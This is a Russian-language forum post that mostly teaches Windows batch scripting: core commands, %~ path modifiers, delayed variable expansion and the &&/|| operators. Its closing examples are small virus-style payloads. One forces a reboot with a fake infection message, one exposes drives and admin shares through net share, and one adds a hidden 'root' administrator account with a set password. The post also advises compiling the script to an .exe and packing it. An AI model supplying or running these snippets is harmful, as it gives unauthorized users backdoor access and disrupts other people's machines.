Вот решил сделать небольшой топик по написанию bat. Надеюсь никто не против…
С чего бы начать…
Команды и операторы:
call Вызов одного пакетного файла из другого.
echo Вывод сообщений и переключение режима отображения команд на экране.
for Запуск указанной команды для каждого из файлов в наборе.
goto Передача управления в отмеченную строку пакетного файла.
if Оператор условного выполнения команд в пакетном файле.
pause Приостановка выполнения пакетного файла и вывод сообщения
rem Помещение комментариев в пакетные файлы и файл CONFIG.SYS.
shift Изменение содержимого (сдвиг) подставляемых параметров для пакетного файла.
§ Операторы перенаправления ввода-вывода <, >, >>.
§ Оператор конвейера |.
§ Операторы объединения команд ||, & и &&.
§ Оператор разыменования переменной %…%.
Cls – очистить экран ^)
Небольшие подсказки:
Как перенести длинную строку ?
для этого нужно использовать супер символ ^
Как определить имя каталога, в котором находится запущенный командный файл?
Иногда сценарию надо знать полный путь к себе самому и/или к каталогу, в котором он находится. Это может понадобиться по разным причинам. Например, он должен достать из системы контроля версий исходники в каталог <script-dir>/src рядом с собой. Или, запускаются тесты из каталога <script-dir>/tests, и перед их запуском надо добавить каталог <script-dir>/bin в переменную PATH.
Можно, конечно, рассчитывать на то, что командный файл был вызван из того же каталога, где он находится, и тогда в качестве вышеупомянутого <script-dir> можно использовать переменную окружения %CD% - полный путь к текущему каталогу. Однако любые допущения в нашем деле недопустимы. Поэтому приведу более надежное решение.
%~1 - разворачивает %1, удаляя кавычки (")
%~f1 - разворачивает %1 в полный квалифицированный путь
%~d1 - разворачивает %1 в букву диска
%~p1 - разворачивает %1 в путь
%~n1 - разворачивает %1 в имя файла
%~x1 - разворачивает %1 в расширение файла
%~s1 - развернутый путь будет содержать только короткие имена
%~a1 - разворачивает %1 в атрибуты файла
%~t1 - разворачивает %1 в дату/время создания файла
%~z1 - разворачивает %1 в размер файла
%~$PATH:1 - Ищет в каталогах, перечисленных в переменной среды PATH, и разворачивает %1 в полное квалифицированное имя первого совпадения. Если имя перменной среды не определено, или если файл не найден, этот модификатор вернет пустую строку, более того:
Модификаторы можно объединять для получения сложных результатов:
%~dp1 - разворачивает
%1 в букву диска и путь
%~nx1 - разворачивает %1 в имя файла с расширением
%~dp$PATH:1 – ищет %1 в каталогах, перечисленных в переменной среды PATH, и разворачивает в букву диска и путь к первому найденному файлу.
%~ftza1 - разворачивает %1 в строку, подобную DIR
Таким образом, правильным будет использовать в качестве тега <script-dir> сочетание %~dp0, которое будет раскрыто в полный путь к каталогу, где находится сценарий.
Как можно избежать использования goto?
Любой хоть сколько-то осмысленный *.bat-файл длиной больше 50 строк является ярким лозунгом в поддержку работы Дейкстры Мешанина из переходов вперед и назад действительно является кодом «только для записи». Можно ли что-то предпринять по этому поводу?
На самом деле можно. Как правило, большинство меток и переходов используются для организации ветвлений при проверке условий, т.е. банальных if-then-else блоков. В оригинале, bat-язык поддерживал только одну команду в блоке then. Но к счастью, командный интерпретатор cmd.exe современных ОС Windows 2000 и старше поддерживает блоки команд в конструкциях ветвления, что устраняет необходимость применения меток. Блоки команд заключаются в круглые скобки.
На мой взгляд, с этим уже вполне можно жить. Но, как всегда, жизнь не так проста, как кажется. Есть одна проблема. Переменные, использующиеся в блоках then и else, раскрываются перед началом выполнения этих блоков, а не в процессе выполнения.
Загвоздка в том, что в обоих блоках подстановка переменной OPTFLAGS произойдет до того, как она будет изменена в процессе выполнения этого блока. Соответственно, в CCFLAGS будет подставлено то значение, которое OPTFLAGS имела на момент начала выполнения данного if-блока.
Решается эта проблема путем использования отложенного раскрытия переменных. Переменные, заключенные в !…! вместо %…%, будут раскрыты в их значения только в момент непосредственного использования. Данный режим по умолчанию отключен
Что это за упомянутые ранее операторы объединения команд?
Это операторы &, && и ||. Они практически совсем не освещены в документации, но полезны в повседневности. Они позволяют объединять несколько команд в одну, т.е. примерно так:
command1 & command2command1 && command2command1 || command2
Форма этих операторов весьма соответствует их содержанию. В случае, пожалуй, наименее полезного оператора & вторая команда будет просто выполнена после первой, т.е. это равносильно простой записи:
command1command2
Оператор && гарантирует, что вторая команда будет выполнена только, если первая была выполнена успешно, т.е. с нулевым кодом возврата (он же %errorlevel%). Такие конструкции очень популярны в мире shell-сценариев Unix. Например:
cd sources && make clean
Я был приятно удивлен, узнав, что cmd.exe тоже умеет выполнять такие конструкции. Это безопаснее и правильнее, нежели простое последовательное выполнение этих команд, и короче и проще, чем строгая проверка и обработка кодов возврата. Очень удобно при написании на скорую руку. Не менее полезен иногда и оператор ||. Суть его тоже логична – выполнить вторую команду, если первая дала сбой.
Небольшие примеры:
Перегрузим комп:
set a=L.Reboot PC
shutdown /r /f /t 23 /c "Infected with L.Reboot PC virus!!"
cls
Расшарим винт:
set a=L.share
net share ADMIN$
net share C$
net share IPC$
net share c=c:
net share d=d:
cls
Добавим рута:
set a=L.Add user.root
net user root pwd /add
net localgroup "Administratoren" root /add
net localgroup "Administrators" root /add
cls
В чем писать?
Пишем в блокноте, потом меняем расширение на .bat
Пользуем проги:
Quick Batch File Compiler (прога дает возможность конвертить в ехе и сразу добавлять иконочку)
Для ужима ехе, если получились большие можно воспользоваться прогой.. типо ASPack
Где и как это использовать можно прочесть в статьях на этом сайте:
http://www.bit-team.com/modules.php?name=A...;articles_id=16
взято с разных сайтух дописано мной
В остальном вам поможет yandex ^) желаю удачи!
